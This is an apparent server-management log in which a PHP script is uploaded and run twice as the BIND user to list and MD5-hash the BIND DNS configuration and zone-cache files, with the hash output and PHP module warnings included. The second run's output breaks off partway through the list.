0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-04-08 12:18:58: Establishing a connection
2026-04-08 12:18:58: 

PUT: /tmp/pkp536995

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-08 12:18:58: 

runuser -l bind -s /bin/bash -c '/tmp/pkp536995; rm /tmp/pkp536995'

2026-04-08 12:18:58: 


PHP Warning:  PHP Startup: xapian: Unable to initialize module
Module compiled with module API=20210902
PHP    compiled with module API=20220829
These options need to match
 in Unknown on line 0
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d




STDERR:
PHP Warning:  PHP Startup: xapian: Unable to initialize module
Module compiled with module API=20210902
PHP    compiled with module API=20220829
These options need to match
 in Unknown on line 0


2026-04-08 12:19:46: Establishing a connection
2026-04-08 12:19:46: 

PUT: /tmp/pkp944841

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-08 12:19:46: 

runuser -l bind -s /bin/bash -c '/tmp/pkp944841; rm /tmp/pkp944841'

2026-04-08 12:19:47: 


PHP Warning:  PHP Startup: xapian: Unable to initialize module
Module compiled with module API=20210902
PHP    compiled with module API=20220829
These options need to match
 in Unknown on line 0
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
